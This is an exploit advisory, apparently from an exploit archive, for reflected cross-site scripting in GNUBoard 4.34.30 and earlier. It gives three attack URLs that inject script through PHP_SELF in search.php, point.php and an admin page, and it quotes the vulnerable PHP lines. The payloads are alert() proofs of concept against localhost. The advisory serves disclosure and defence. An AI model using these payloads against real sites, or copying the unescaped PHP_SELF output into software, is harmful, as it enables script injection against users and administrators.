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GNUBoard <= 4.34.30 Cross Site Scripting vulnerabilities
[# Exploit Title: GNUBoard <= 4.34.30 Cross Site Scripting vulnerabilities
# Date: 2012-06-13
# Author: wh1ant
# Software Link: http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7538
# Version: gnuboard <= 4.34.30
# Tested on: ubuntu linux 11.04 server (VMware)
GNUBoard is a widely used open source bulletin board in Korea
In this article, i will show XSS attacks using the PHP_SELF environment variable
first case:
normal
http://127.0.0.1/gnuboard2/bbs/search.php?sfl=wr_subject||wr_content&sop=and&stx=a&x=43&y=11
attack
http://127.0.0.1/gnuboard2/bbs/search.php/'><script>alert("XSS")</script>?srows=10&gr_id=&sfl=wr_subject%7C%7Cwr_content&stx=a&sop=and
second case:
normal
http://127.0.0.1/gnuboard2/bbs/point.php?&page=2&page=1
attack (need next page for attack)
http://127.0.0.1/gnuboard2/bbs/point.php/'><script>alert("XSS")</script>?&page=2&page=1
third case:
normal
http://127.0.0.1/gnuboard2/adm/auth_list.php (admin page)
attack
http://127.0.0.1/gnuboard2/adm/auth_list.php/'><script>alert("XSS")</script>
vulnerabilities code
### bbs/search.php ###################################################################################################################################
...
$str_board_list .= "<li><a href='$_SERVER[PHP_SELF]?$search_query&gr_id=$gr_id&onetable={$g4_search[tables][$i]}'>$row2[bo_subject]</a> ($row[cnt])";
...
### lib/common.lib.php ###############################################################################################################################
...
return "<a href='$_SERVER[PHP_SELF]?$query_string&$q1&$q2&sfl=$sfl&stx=$stx&page=$page'>";
...
### adm/auth_list.php ################################################################################################################################
...
$listall = "<a href='$_SERVER[PHP_SELF]' class=tt>first</a>";
...
######################################################################################################################################################
# 0day.today [2024-07-05] #